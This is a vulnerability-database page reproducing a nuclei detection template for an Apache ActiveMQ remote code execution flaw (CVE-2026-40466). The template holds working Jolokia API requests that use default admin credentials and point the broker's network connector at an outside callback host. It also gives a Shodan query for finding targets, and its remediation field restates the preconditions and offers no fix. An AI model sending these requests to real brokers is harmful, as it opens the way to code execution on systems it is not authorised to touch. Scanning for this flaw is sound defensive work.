Lucene search
K

Apache ActiveMQ - Remote Code Execution via HTTP Discovery Transport Bypass

🗓️ 06 Jul 2026 03:02:03Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 17 Views

ActiveMQ remote code execution via HTTP discovery bypassing vm transport; requires activemq-http.

Related
Refs
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Improper Input Validation in Apache Activemq
6 Jun 202612:39
githubexploit
GithubExploit
Exploit for Improper Input Validation in Apache Activemq
18 May 202614:36
githubexploit
GithubExploit
Exploit for Improper Input Validation in Apache Activemq
8 May 202605:39
githubexploit
GithubExploit
Exploit for CVE-2026-34197
8 Apr 202620:07
githubexploit
GithubExploit
Exploit for CVE-2026-34197
14 Apr 202620:44
githubexploit
GithubExploit
Exploit for Improper Input Validation in Apache Activemq
4 Jul 202606:45
githubexploit
GithubExploit
Exploit for CVE-2026-34197
9 Apr 202609:44
githubexploit
GithubExploit
Exploit for Improper Input Validation in Apache Activemq
18 May 202603:30
githubexploit
GithubExploit
Exploit for CVE-2026-34197
8 Apr 202609:18
githubexploit
GithubExploit
Exploit for CVE-2026-34197
10 Apr 202601:29
githubexploit
Rows per page
id: CVE-2026-40466

info:
  name: Apache ActiveMQ - Remote Code Execution via HTTP Discovery Transport Bypass
  author: DhiyaneshDk
  severity: high
  description: |
    Apache ActiveMQ before 5.19.6 and 6.0.0 through 6.2.4 is vulnerable to remote code execution via a bypass of the CVE-2026-34197 security fix. The original fix blocked the "vm://" transport scheme in BrokerView.addNetworkConnector() and BrokerView.addConnector() to prevent authenticated attackers from loading malicious Spring XML configurations via the Jolokia API. However, the fix only denied the "vm" scheme. An attacker can bypass this restriction by using the HTTP Discovery transport(http://attacker/discovery), which is not in the denied scheme list. The attacker-controlled HTTP endpoint returns a vm:// transport URI as a second-stage response, which then loads a remote Spring XML application context, leading to arbitrary code execution on the broker JVM. The activemq-http module must be on the classpath (present by default in the "all" distribution), and authenticated access to the Jolokia API (/api/jolokia/) is required.
  impact: |
    Authenticated attackers can execute arbitrary code on the broker JVM, potentially leading to full system compromise.
  remediation: Attacker must be authenticated and activemq-http module must be on classpath.
  reference:
    - https://activemq.apache.org/security-advisories.data/CVE-2026-40466-announcement.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2026-40466
    - https://github.com/advisories/GHSA-w3w2-mpp5-92gm
    - https://github.com/apache/activemq/pull/1918
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-40466
    cwe-id: CWE-20,CWE-94
    epss-score: 0.04783
    epss-percentile: 0.90851
    cpe: cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: activemq
    shodan-query: product:"ActiveMQ"
  tags: cve,cve2026,activemq,apache,rce,jolokia,oob,http,unauth,vuln,vkev

http:
  - raw:
      - |
        POST /api/jolokia/ HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46YWRtaW4=
        Content-Type: application/json
        Origin: {{RootURL}}

        {"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"removeNetworkConnector(java.lang.String)","arguments":["NC"]}

      - |
        POST /api/jolokia/ HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46YWRtaW4=
        Content-Type: application/json
        Origin: {{RootURL}}

        {"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector(java.lang.String)","arguments":["http://{{interactsh-url}}/discovery"]}

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"request":{'
          - 'org.apache.activemq'
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d6440421c7e80d0cc60e4c1554462407d1f08f75802a78ab437fb7b0638e746302206149d6d671f45ed7fec2e6ef46cb051e91ec55d3a6a4c614a02cc06165bab4e6:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 May 2026 14:45Current
7.7High risk
Vulners AI Score7.7
CVSS 3.18.8
EPSS0.96666
SSVC
17